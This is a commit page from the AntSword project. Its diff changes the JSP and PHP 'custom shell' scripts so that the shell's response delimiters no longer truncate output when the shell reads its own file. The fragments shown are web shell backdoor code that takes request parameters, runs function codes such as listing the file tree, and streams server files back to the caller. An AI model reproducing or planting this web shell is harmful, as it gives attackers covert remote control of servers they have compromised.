Commit 3d930500 authored by Medici.Yan's avatar Medici.Yan

fix(custom):custom shell edit self bug (#46)

修正custom shell 读取自身时数据被截断的 bug #45 
parent 97e29a30
...@@ -20,7 +20,8 @@ ...@@ -20,7 +20,8 @@
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
ChangeLog: ChangeLog:
Data: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1 Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误 1. 修正下载文件参数设置错误
2. 修正一些注释的细节 2. 修正一些注释的细节
...@@ -169,11 +170,11 @@ ChangeLog: ...@@ -169,11 +170,11 @@ ChangeLog:
r.reset(); r.reset();
ServletOutputStream os = r.getOutputStream(); ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3); os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) { while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n); os.write(b, 0, n);
} }
os.write(("|<-").getBytes(), 0, 3); os.write(("|"+"<-").getBytes(), 0, 3);
os.close(); os.close();
is.close(); is.close();
} }
...@@ -336,7 +337,7 @@ ChangeLog: ...@@ -336,7 +337,7 @@ ChangeLog:
String z2 = decode(EC(request.getParameter("z2") + ""), encoder); String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder); String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3}; String[] pars = { z0, z1, z2, z3};
sb.append("->|"); sb.append("->" + "|");
if (funccode.equals("B")) { if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1])); sb.append(FileTreeCode(pars[1]));
...@@ -376,6 +377,6 @@ ChangeLog: ...@@ -376,6 +377,6 @@ ChangeLog:
} catch (Exception e) { } catch (Exception e) {
sb.append("ERROR" + "://" + e.toString()); sb.append("ERROR" + "://" + e.toString());
} }
sb.append("|<-"); sb.append("|" + "<-");
out.print(sb.toString()); out.print(sb.toString());
%> %>
...@@ -339,7 +339,7 @@ $z2 = decode(EC($_REQUEST['z2'])); ...@@ -339,7 +339,7 @@ $z2 = decode(EC($_REQUEST['z2']));
$z3 = decode(EC($_REQUEST['z3'])); $z3 = decode(EC($_REQUEST['z3']));
// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">"; // echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">";
echo "->|"; echo "->"."|";
$ret = ""; $ret = "";
try { try {
switch ($funccode) { switch ($funccode) {
...@@ -402,5 +402,5 @@ try { ...@@ -402,5 +402,5 @@ try {
$ret = "ERROR://".$e; $ret = "ERROR://".$e;
} }
echo $ret; echo $ret;
echo "|<-"; echo "|"."<-";
?> ?>
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment